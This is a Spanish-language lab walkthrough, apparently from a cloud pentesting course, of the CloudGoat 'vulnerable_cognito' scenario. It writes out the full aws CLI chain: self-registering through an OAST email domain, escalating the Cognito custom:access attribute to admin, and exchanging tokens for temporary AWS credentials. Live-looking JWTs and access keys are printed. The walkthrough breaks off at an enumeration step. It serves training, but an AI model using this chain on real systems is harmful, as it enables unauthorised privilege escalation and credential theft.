# Vulnerable Cognito

Primero desplegamos el laboratorio:

```bash
┌──(root㉿SPARTAN-SERVER)-[/home/hacker/cloudgoat]
└─# ./cloudgoat.py create vulnerable_cognito
Using default profile "default" from config.yml...
Loading whitelist.txt...
A whitelist.txt file was found that contains at least one valid IP address or range.

Initializing the backend...

Initializing provider plugins...
- Finding hashicorp/aws versions matching "~> 4.16"...
- Installing hashicorp/aws v4.67.0...
- Installed hashicorp/aws v4.67.0 (signed by HashiCorp)

Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

[cloudgoat] terraform init completed with no error code.
data.aws_caller_identity.aws-account-id: Reading...
data.aws_caller_identity.aws-account-id: Read complete after 0s [id=583318501385]
```

Al finalizar el despliegue sale el siguiente mensaje:

```bash
Apply complete! Resources: 44 added, 0 changed, 0 destroyed.

Outputs:

apigateway_url = "https://ty97c4wq6b.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidf2vavqfesu/index.html"
cloudgoat_output_aws_account_id = "583318501385"

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
apigateway_url = https://ty97c4wq6b.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidf2vavqfesu/index.html
cloudgoat_output_aws_account_id = 583318501385

[cloudgoat] Output file written to:

    /home/hacker/cloudgoat/vulnerable_cognito_cgidf2vavqfesu/start.txt
```

Nuestra auditoria comienza con la revision de la URL previamente obtenida.

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FJCbcb0cCyNTHlUABSQMX%2Fimage.png?alt=media&#x26;token=703a349b-02b4-49ed-b53e-a79a485d78ed" alt=""><figcaption></figcaption></figure>

## <mark style="color:orange;">Análisis del Código HTML</mark>

En el codigo fuente de esta aplicacion se encuentra la siguiente informacion:

```javascript
function Login(){

  var email = document.getElementById('email').value;
  var password = document.getElementById('password').value;

  var CognitoUserPool = AmazonCognitoIdentity.CognitoUserPool;
  var poolData = {
    UserPoolId: 'us-east-1_geWllxg2l',
    ClientId: '7gis1uto72h5462s6ekvm7rkhd',
  };
  var authenticationData = {
    Username: email,
    Password: password,
  };
  var authenticationDetails = new AmazonCognitoIdentity.AuthenticationDetails(
    authenticationData
  );
 
  var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
  var userData = {
    Username: email,
    Pool: userPool,
  };
  var cognitoUser = new AmazonCognitoIdentity.CognitoUser(userData);

//  cognitoUser.setAuthenticationFlowType('USER_PASSWORD_AUTH');

  cognitoUser.authenticateUser(authenticationDetails, {
    onSuccess: function(result) {
      var accessToken = result.getAccessToken().getJwtToken();

        cognitoUser.getUserAttributes(function(err, result) {
        if (err) {
          alert(err.message || JSON.stringify(err));
          return;
        }
        
        var access = result[4].getValue() // currently the 'custom:access' is at index 4
        // or if the index changes again,
        // the following code always gets it
        // for (const name of result) {
        //   if (name.Name === "custom:access") {
        //     access = name.Value;
        //   }
        // }

        console.log(access)

        if(access == 'admin'){
          window.location = "./admin.html";
        }
        else{
          window.location = "./reader.html"
        }

        for (i = 0; i < result.length; i++) {
          console.log(
            'attribute ' + result[i].getName() + ' has value ' + result[i].getValue()
          );

        }
      });
      //Login Redirect here

    },

    onFailure: function(err) {
      alert(err.message || JSON.stringify(err));
    },
  });
}
```

La información encontrada en el código HTML se refiere a la configuración inicial necesaria para interactuar con Amazon Cognito, un servicio que proporciona autenticación y gestión de usuarios para aplicaciones web y móviles. Vamos a analizar detalladamente la sensibilidad de esta información y su propósito.

### <mark style="color:orange;">**Fragmento de Código Analizado:**</mark>

```javascript
var poolData = {
  UserPoolId: 'us-east-1_geWllxg2l',
  ClientId: '7gis1uto72h5462s6ekvm7rkhd',
};
```

## <mark style="color:orange;">Amazon Cognito: UserPoolId y ClientId</mark>

1. <mark style="color:orange;">**UserPoolId**</mark><mark style="color:orange;">:</mark>
   * <mark style="color:orange;">**Definición**</mark><mark style="color:orange;">:</mark> El `UserPoolId` es un identificador único para el pool de usuarios (User Pool) en Amazon Cognito. Este ID especifica el pool de usuarios con el que la aplicación interactuará.
   * <mark style="color:orange;">**Sensibilidad**</mark><mark style="color:orange;">:</mark> Este identificador por sí mismo no es extremadamente sensible, pero puede proporcionar pistas sobre la infraestructura del backend a un atacante si se combina con otra información.
2. <mark style="color:orange;">**ClientId**</mark><mark style="color:orange;">:</mark>
   * <mark style="color:orange;">**Definición**</mark><mark style="color:orange;">:</mark> El `ClientId` es un identificador único para la aplicación cliente dentro del pool de usuarios. Este ID es utilizado para identificar la aplicación que solicita autenticación y autorización.
   * <mark style="color:orange;">**Sensibilidad**</mark><mark style="color:orange;">:</mark> Al igual que el `UserPoolId`, el `ClientId` no es particularmente sensible en sí mismo. Sin embargo, puede ser considerado un vector de ataque si un atacante tiene información adicional.

## <mark style="color:orange;">**Naturaleza Pública de los Identificadores**</mark>

Es común que tanto `UserPoolId` como `ClientId` sean expuestos en el frontend (públicamente accesibles) ya que son necesarios para que las aplicaciones web y móviles interactúen con Amazon Cognito. Estos identificadores permiten a la aplicación saber a qué pool de usuarios y aplicación cliente debe dirigir las solicitudes de autenticación.

### <mark style="color:orange;">**Fragmento de Código Analizado:**</mark>

Es común Por otro lado, esta pieza de codigo divulga desde el frontend posibles rutas de usuarios privilegiados:

```javascript
if(access == 'admin'){
  window.location = "./admin.html";
}
else{
  window.location = "./reader.html"
}
```

## <mark style="color:orange;">Realizando registro en Cognito</mark>

Intentamos iniciar sesion en el aplicativo web:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FZ2xgWvYzz22lmYWnARbz%2Fimage.png?alt=media&#x26;token=e146e18a-1003-4a84-a835-ae80c85facd8" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Only Emails from ecorp.com are accepted
{% endhint %}

Teniendo en cuenta lo anterior, podriamos intentar ejecutar el siguiente comando:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --password Password123! --region us-east-1

An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: name.givenName: The attribute name.givenName is required, name.familyName: The attribute name.familyName is required
```

{% endcode %}

{% hint style="warning" %}
Amazon Cognito Identity Provider (Cognito-IDP) es un servicio de Amazon Web Services (AWS) diseñado para simplificar la autenticación, autorización y gestión de usuarios en aplicaciones web y móviles. Proporciona funcionalidades esenciales para manejar el ciclo de vida de los usuarios, incluyendo el registro, inicio de sesión y gestión de perfiles, con soporte para múltiples proveedores de identidad.
{% endhint %}

Para obtener el oastify se puede utilizar colaborator de BurpSuite:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FeHcPvXb8RCDpzpLDR796%2Fimage.png?alt=media&#x26;token=3eb5c4da-81a4-451c-a6e7-fb3342b7bc05" alt=""><figcaption></figcaption></figure>

Al intentar registrar nuestro usuario, se nos retorna un error que inidica que faltan los atributos del usuarios.

El error indica que los atributos son <mark style="color:orange;">**name.givenName**</mark> y <mark style="color:orange;">**name.familyName**</mark> asi que el comando seria:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --password Password123! --user-attributes '[{"Name":"given_name","Value":"Gerardo"},{"Name":"family_name","Value":"Eliasib"}]' --region us-east-1
{
    "UserConfirmed": false,
    "CodeDeliveryDetails": {
        "Destination": "s***@9***",
        "DeliveryMedium": "EMAIL",
        "AttributeName": "email"
    },
    "UserSub": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0"
}
```

{% endcode %}

Luego de lo anterior se nos enviara un OTP:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FlxtXiUwDy7tLX9WNRU7x%2Fimage.png?alt=media&#x26;token=49d7b094-d14a-418e-9699-b5dbcc6083e1" alt=""><figcaption></figcaption></figure>

El texto recibido el collaborator de BurpSuite es el siguiente:

```bash
220 burpcollaborator.net Burp Collaborator Server ready
EHLO a10-161.smtp-out.amazonses.com
250-Hello
250 STARTTLS
STARTTLS
220 Ready to start TLS
EHLO a10-161.smtp-out.amazonses.com
250 Hello
MAIL FROM:<0100019046921cb1-24e611b9-be74-463a-86a2-64b66f6b78e6-000000@amazonses.com>
250 OK
RCPT TO:<spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com>
250 OK
DATA
354 Send data
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;
	s=wceqs6rklpxcn5uxy7rtzyarmmyo5fhq; d=verificationemail.com;
	t=1719170899;
	h=Date:From:To:Message-ID:Subject:MIME-Version:Content-Type;
	bh=7KOGtHW7IvXANy907QPOVC61Ftm2PUSbmdgRgpOjEeA=;
	b=CyFZXxoujxCJX3TIQQY3Wots82g308oxA2C2awOpZsjYEx8k8BVfHPRlS3iUQC9f
	YyiDKNuswGSNs74Jv8yECdHbaxcI+nkCs/geTTa28hrS2iHo95j3QsNK58f/hU48seX
	oA6PbqKARsIAaRV1IhReS3KbMl6LksuITsb5OAHA=
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;
	s=ug7nbtf4gccmlpwj322ax3p6ow6yfsug; d=amazonses.com; t=1719170899;
	h=Date:From:To:Message-ID:Subject:MIME-Version:Content-Type:Feedback-ID;
	bh=7KOGtHW7IvXANy907QPOVC61Ftm2PUSbmdgRgpOjEeA=;
	b=e32wd/M98Eix9WW0tHcIGqLxYFY4s9uCaNTGTQUEwdAw+HfUUBcePtsUvK9Gmp5q
	3P0f0jRfxeFWxsm9SKE5R49NNyH3f/Gw7wZS/pJbLaDlW8prCgkzpOUCO590tlWJO/2
	O5VDpvqlc6HgTKj0KNWuQ+swex+MBE/uzcSx2QX8=
Date: Sun, 23 Jun 2024 19:28:19 +0000
From: no-reply@verificationemail.com
To: spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com
Message-ID: <0100019046921cb1-24e611b9-be74-463a-86a2-64b66f6b78e6-000000@email.amazonses.com>
Subject: Your verification code
MIME-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_Part_676016_55217316.1719170899031"
user_pool_id: us-east-1_geWllxg2l
Feedback-ID: ::1.us-east-1.BZabOWIk0yzMj8i/qOPiQEvMo0ZVvZFAHCiYNAF22Ec=:AmazonSES
X-SES-Outgoing: 2024.06.23-54.240.10.161

------=_Part_676016_55217316.1719170899031
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit

Your confirmation code is 704305
------=_Part_676016_55217316.1719170899031--
.
250 OK

```

Lo mas importante de lo anterior es el siguiente mensaje:

```
Your confirmation code is 704305
```

Por lo anterior, se procede a validar el usuario previo:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp confirm-sign-up --client-id 7gis1uto72h5462s6ekvm7rkhd --username spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com --confirmation-code 704305 --region us-east-1

```

{% endcode %}

Lo anterior, indica que la confirmacion del usuario ha sido exitosa.

Ahora vamos autenticarnos con nuestro usuario:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FNhitJfCRrsY8pUQ30EPF%2Fimage.png?alt=media&#x26;token=db818e13-440d-4dfa-b948-fcfd91adf5d1" alt=""><figcaption></figcaption></figure>

Luego de la autenticacion, podemos apreciar lo siguiente:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Frf4Q4jgR3LikRf65v9By%2Fimage.png?alt=media&#x26;token=7c6fb6b2-7adf-40cf-97e0-eb70d9dca471" alt=""><figcaption></figcaption></figure>

## <mark style="color:orange;">Obteniendo el JWT</mark>

Ahora tomamos el JWT de las peticiones y ejecutamos el siguiente comando:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-idp get-user --access-token "eyJraWQiOiJCb3B5Ulk4ajJYbzZUalo4QmpjTXR2aEphN3lBK1pvTDZEQ25NWEtmUUdNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV9nZVdsbHhnMmwiLCJjbGllbnRfaWQiOiI3Z2lzMXV0bzcyaDU0NjJzNmVrdm03cmtoZCIsIm9yaWdpbl9qdGkiOiJkNTk5NDAyZS1hYzA5LTRjM2ItYTgwMi0wMmE0YjMyMTc3MmEiLCJldmVudF9pZCI6IjczZGU2ODBkLTdkYzUtNDZhOC04Y2EzLTcwMTc4MzA4MjZjNiIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MTkxNzEyODEsImV4cCI6MTcxOTE3NDg4MSwiaWF0IjoxNzE5MTcxMjgxLCJqdGkiOiI4OTNkNmUxNy1hNThlLTQyNmItYjE2Zi0yZGEyNjE0ZmMzZjEiLCJ1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCJ9.v0bBBpyrovLa1CigNt-fYC2GFtD20ZoetxBOUPix1WSQ8WFPneNm-ShytI6pqdOkjnc46n8HWzwm3KQkmIE_EbB4pkTjxW3WgYhAm84IYpBtfnyxAqxSRLiEY2NwUCutTp91jlMJKrVTBP3uYeTqKRwEPiVauBQPhGjt7Cb0iFgSfo-t-gpRkPIJGjaZBno68Od1_KwVktI9q9d5oSzAtNZpWi9U5cFr7eq0nYeYydlLOdfkp0tJFWedd1P4h2EYknGFJhDubXQpVeTT4d2v3QbhnXbV-HyqNWI7I4EAG_l5rqURxlVzjqXEaEY50dKNR6FCEvH2LtmorjjQYjCsNA"  --region us-east-1
{
    "Username": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0",
    "UserAttributes": [
        {
            "Name": "email",
            "Value": "spartan@9oyni96k6emaluakgulsfiypsgy7mxam.oastify.com"
        },
        {
            "Name": "email_verified",
            "Value": "true"
        },
        {
            "Name": "family_name",
            "Value": "Eliasib"
        },
        {
            "Name": "given_name",
            "Value": "Gerardo"
        },
        {
            "Name": "custom:access",
            "Value": "reader"
        },
        {
            "Name": "sub",
            "Value": "24d844d8-b0c1-70d1-ef6e-4f34a3cbacb0"
        }
    ]
}
```

{% endcode %}

{% hint style="info" %}
La información sobre el nivel de acceso del usuario (`custom:access:reader`) podría ser utilizada para escalar privilegios si no se gestionan adecuadamente los controles de acceso en la aplicación.
{% endhint %}

El analisis del JWT tambien lo podemos realizar con la siguiente pagina:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fmrx5Uj4KVJkow7WoQ0sw%2Fimage.png?alt=media&#x26;token=21605d4b-ad64-4b5c-bbee-541c5cae38cb" alt=""><figcaption></figcaption></figure>

## <mark style="color:orange;">Cambiando atributos personalizados del usuario</mark>

Despues de lo anterior, se procede a realizar el cambio del atributo:

{% code overflow="wrap" %}

```bash
aws cognito-idp update-user-attributes --access-token "eyJraWQiOiJCb3B5Ulk4ajJYbzZUalo4QmpjTXR2aEphN3lBK1pvTDZEQ25NWEtmUUdNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV9nZVdsbHhnMmwiLCJjbGllbnRfaWQiOiI3Z2lzMXV0bzcyaDU0NjJzNmVrdm03cmtoZCIsIm9yaWdpbl9qdGkiOiJkNTk5NDAyZS1hYzA5LTRjM2ItYTgwMi0wMmE0YjMyMTc3MmEiLCJldmVudF9pZCI6IjczZGU2ODBkLTdkYzUtNDZhOC04Y2EzLTcwMTc4MzA4MjZjNiIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MTkxNzEyODEsImV4cCI6MTcxOTE3NDg4MSwiaWF0IjoxNzE5MTcxMjgxLCJqdGkiOiI4OTNkNmUxNy1hNThlLTQyNmItYjE2Zi0yZGEyNjE0ZmMzZjEiLCJ1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCJ9.v0bBBpyrovLa1CigNt-fYC2GFtD20ZoetxBOUPix1WSQ8WFPneNm-ShytI6pqdOkjnc46n8HWzwm3KQkmIE_EbB4pkTjxW3WgYhAm84IYpBtfnyxAqxSRLiEY2NwUCutTp91jlMJKrVTBP3uYeTqKRwEPiVauBQPhGjt7Cb0iFgSfo-t-gpRkPIJGjaZBno68Od1_KwVktI9q9d5oSzAtNZpWi9U5cFr7eq0nYeYydlLOdfkp0tJFWedd1P4h2EYknGFJhDubXQpVeTT4d2v3QbhnXbV-HyqNWI7I4EAG_l5rqURxlVzjqXEaEY50dKNR6FCEvH2LtmorjjQYjCsNA" --user-attributes '[{"Name":"custom:access","Value":"admin"}]' --region us-east-1
```

{% endcode %}

Luego de iniciar sesion nuevamente nos redirige a la sesion de administrador:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FQuRJTQgz1c8thaHJU4Zf%2Fimage.png?alt=media&#x26;token=8e844b89-d62c-4157-80ff-5335fd144d1d" alt=""><figcaption></figcaption></figure>

El fichero admin.html tiene la siguiente informacion:

```html
<!DOCTYPE html>
	
<head>
	<title>Admin</title>
</head>

<body>

<script src="./amazon-cognito-identity.min.js"></script>
<script src="./aws-sdk.js"></script>

<script>


var poolData = {
  UserPoolId: 'us-east-1_geWllxg2l',
  ClientId: '7gis1uto72h5462s6ekvm7rkhd',
};

var userPool = new AmazonCognitoIdentity.CognitoUserPool(poolData);
var cognitoUser = userPool.getCurrentUser();


if (cognitoUser != null) {
	cognitoUser.getSession(function(err, result) {
		if (result) {
			console.log('You are now logged in.');

			//POTENTIAL: Region needs to be set if not already set previously elsewhere.
			AWS.config.region = 'us-east-1';

			// Add the User's Id Token to the Cognito credentials login map.
			AWS.config.credentials = new AWS.CognitoIdentityCredentials({
				IdentityPoolId: 'us-east-1:6d13aa02-7559-49f0-91ec-66047f4046da',
				Logins: {
					'cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l': result
						.getIdToken()
						.getJwtToken(),
				},
			});
		}
	});
}
//call refresh method in order to authenticate user and get new temp credentials
AWS.config.credentials.refresh(error => {
	if (error) {
		console.error(error);
	} else {
		console.log('Successfully logged!');
	}
});

</script>

<h1 align="center">You're an Admin!!</h1>
<body>
</html>
```

Luego de lo anterior, se procede a ejecutar el siguiente comando:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-identity get-id --region us-east-1 --identity-pool-id 'us-east-1:6d13aa02-7559-49f0-91ec-66047f4046da' --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l=eyJraWQiOiJZditsSnVjdjRJYldWTmV4TDU5NEFTWW1YQm5ZSVJGSlFaVkp6T0IwZkxBPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfZ2VXbGx4ZzJsIiwiY29nbml0bzp1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCIsImdpdmVuX25hbWUiOiJHZXJhcmRvIiwiY3VzdG9tOmFjY2VzcyI6ImFkbWluIiwib3JpZ2luX2p0aSI6IjdmODk2NDdkLWU0NTItNGFmYy05Yzc2LTY1ZmJmZWI1ZTc4NiIsImF1ZCI6IjdnaXMxdXRvNzJoNTQ2MnM2ZWt2bTdya2hkIiwiZXZlbnRfaWQiOiIwMWRhNmE0Zi00ODNmLTQyN2YtYjg4MS1lZmNlN2JkODEzMDEiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcxOTE3MjYxNywiZXhwIjoxNzE5MTc2MjE3LCJpYXQiOjE3MTkxNzI2MTcsImZhbWlseV9uYW1lIjoiRWxpYXNpYiIsImp0aSI6ImZjOTg0ZmY0LWNlMGYtNDIxYS04ODhmLTE1YjRlOWRjZDY5OCIsImVtYWlsIjoic3BhcnRhbkA5b3luaTk2azZlbWFsdWFrZ3Vsc2ZpeXBzZ3k3bXhhbS5vYXN0aWZ5LmNvbSJ9.eGehf1bPdNfaR3CjBf9-kJ3XjjW-UNsPS38sOxQRbAwtebkAO5MLvKPkGgW0MITPXlEl1VtD-7x7p7LFmJNaLhE2VR8bZuZR6_eGpnn2EZpS5ZiTffx4YikaewzJ4rQDepSS7DJbhc9qP-h309S35M_ypqo6PqfNWnRAZHvDjCvdMt2qziR5v67juAfAvE-ldxM16fJWQkj7ee_HxA67gIuknwhiX7kmcN0mkZjvPNMt0h3PBCmXa6d0VDkLRVEKeac7HXdvSIyqwjMV2ltN1kR6r4stNRG6_PXl_I7gSHWGCJOnWBVx2CNu8PHXUCzA0e4say2CDIUVm7lsbORthg"
{
    "IdentityId": "us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4"
}
```

{% endcode %}

Y ahora ejecutamos lo siguiente:

{% code overflow="wrap" %}

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws cognito-identity get-credentials-for-identity --region us-east-1 --identity-id 'us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4' --logins "cognito-idp.us-east-1.amazonaws.com/us-east-1_geWllxg2l=eyJraWQiOiJZditsSnVjdjRJYldWTmV4TDU5NEFTWW1YQm5ZSVJGSlFaVkp6T0IwZkxBPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiIyNGQ4NDRkOC1iMGMxLTcwZDEtZWY2ZS00ZjM0YTNjYmFjYjAiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfZ2VXbGx4ZzJsIiwiY29nbml0bzp1c2VybmFtZSI6IjI0ZDg0NGQ4LWIwYzEtNzBkMS1lZjZlLTRmMzRhM2NiYWNiMCIsImdpdmVuX25hbWUiOiJHZXJhcmRvIiwiY3VzdG9tOmFjY2VzcyI6ImFkbWluIiwib3JpZ2luX2p0aSI6IjdmODk2NDdkLWU0NTItNGFmYy05Yzc2LTY1ZmJmZWI1ZTc4NiIsImF1ZCI6IjdnaXMxdXRvNzJoNTQ2MnM2ZWt2bTdya2hkIiwiZXZlbnRfaWQiOiIwMWRhNmE0Zi00ODNmLTQyN2YtYjg4MS1lZmNlN2JkODEzMDEiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcxOTE3MjYxNywiZXhwIjoxNzE5MTc2MjE3LCJpYXQiOjE3MTkxNzI2MTcsImZhbWlseV9uYW1lIjoiRWxpYXNpYiIsImp0aSI6ImZjOTg0ZmY0LWNlMGYtNDIxYS04ODhmLTE1YjRlOWRjZDY5OCIsImVtYWlsIjoic3BhcnRhbkA5b3luaTk2azZlbWFsdWFrZ3Vsc2ZpeXBzZ3k3bXhhbS5vYXN0aWZ5LmNvbSJ9.eGehf1bPdNfaR3CjBf9-kJ3XjjW-UNsPS38sOxQRbAwtebkAO5MLvKPkGgW0MITPXlEl1VtD-7x7p7LFmJNaLhE2VR8bZuZR6_eGpnn2EZpS5ZiTffx4YikaewzJ4rQDepSS7DJbhc9qP-h309S35M_ypqo6PqfNWnRAZHvDjCvdMt2qziR5v67juAfAvE-ldxM16fJWQkj7ee_HxA67gIuknwhiX7kmcN0mkZjvPNMt0h3PBCmXa6d0VDkLRVEKeac7HXdvSIyqwjMV2ltN1kR6r4stNRG6_PXl_I7gSHWGCJOnWBVx2CNu8PHXUCzA0e4say2CDIUVm7lsbORthg"
{
    "IdentityId": "us-east-1:87d07df8-094f-caf0-09c8-d65a01ef21a4",
    "Credentials": {
        "AccessKeyId": "ASIAYPUD57AETV535COM",
        "SecretKey": "DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF",
        "SessionToken": "IQoJb3JpZ2luX2VjEO3//////////wEaCXVzLWVhc3QtMSJHMEUCIQCI5v0Uwa+nIi88caXGYaBOfCOIwvBJQnc0cR3wYca8PQIgIChTw/Iq4IIm/Vv+qFehHuNcz0KoG7LM4V9kwJLOOAQqzQQIlf//////////ARABGgw1ODMzMTg1MDEzODUiDBCoc9JzZPPO6NpvHSqhBEbyXoVW1FPJ5s0qYPRLh1pdsw90IyAlBlhNvGjqi71dXgGWA/h6oc/RHHRP7pUSGV8SdjjelupG4Xs40Qpf0d2En/xCrdfAC3pqqf+zGglu4WQjla+T8Ih+NreTinkQ5ugDaMthMhvjuqt1X+HS3MEM/dLMzacZ2qjpCCMBElDkhMLoczJFSWbrw8BYxNP+OYy/xpspuiCZKhWjbzKANrSNxE/dtv74z4P2q0sLFktUlK1qA295914+zuPwKeeIY3oRgjjrZP8jEeWO+0d+03VgUgeM7EIMHmdHQHFMYy/NPq6XLllIV6q1fBCkYCfWRlMwagDqF8I7xxRPQuZVChEhh7npgPxAFvsda4oHUQBy9e8tiKCXep+HdHTEv5CbGnTao0u8IWIl8cuaE3cpbe70OrEfRdbw8obwJMw+8sXmsohlExQBIVwJ/Ges7kkk34b/9pD/T+rB0j6nbpcgqlIbO+IcVSBn2dC1xgg6KwGCf9Jc27HRimV0CJQdnAxysuGV6DwB8b0CtLyAsGBoTdPUqeiaDsPzRG/IQLLNYS9JwE40Cn/4kSWIUb7Na+/r3FSfCjRFtbIj4dCl1UspmdQrnaph1Q8qLpAu/JsCMH1eK7o559Wuog1PWqeVRHhq2/FrXiytu5xl+boKhg3IfkohG5g6lXxCO71skVhFWjtNBAMdAFpP+OTh0TxLl63gKWKFWk94S9JbIm9rgdttnFvxMPWB4rMGOoUCBGeVyw0PzL+Ta7ET5cwKN3uDESLsB3KmOArCTeFmah0pIShH50Ww1N8m08YFRas7+bvM+BIvCJkhD0+4U3IdK2Lp+qG8he0bjaL97CoGQYhLWrtMbkWh+FvUADNnzTLRweVb2V7/ZfjIQ3uXuK4ccb41mT6/LkEViyGTg+PIgr87SEpRtbpIJ5rcTj+54YeI9zQsJqCXo8LJes6vbyUr3U3/IzfEdgWbOXcrrW3gvwKXa3XC2wecwGL1mco50AOXsmN1xSzk6C9t8df7h2euKto8g8QLodw37gRSVCwsS6lFnVeSB/wC/wlJrtChk+4Hn+vOjh2X9FnnSPZS5lfBoue6hEaA",
        "Expiration": "2024-06-23T16:09:25-05:00"
    }
}
```

{% endcode %}

Se procede a realizar una autenticacion y validamos con que usuarios estamos autenticados:

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws configure --profile hacked
AWS Access Key ID [None]: ASIAYPUD57AETV535COM
AWS Secret Access Key [None]: DT+NM8qzfk3gYiHRQf1WNBpW4D/kt1gFYcEDBqQF
Default region name [None]: us-east-1
Default output format [None]: json

┌──(hacker㉿SPARTAN-SERVER)-[~]
└─$ aws sts get-caller-identity --profile hacked
{
    "UserId": "AROAYPUD57AE6JUXI526P:CognitoIdentityCredentials",
    "Account": "583318501385",
    "Arn": "arn:aws:sts::583318501385:assumed-role/cognito_authenticated-vulnerable_cognito_cgidf2vavqfesu/CognitoIdentityCredentials"
}
```

En este punto un atacante podria utilizar [enumerate-iam](https://books.spartan-cybersec.com/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py) como se ha explicado previamente:

```bash
┌──(hacker㉿SPARTAN-SERVER)-[~/CPNA-v2/enumerate-iam]
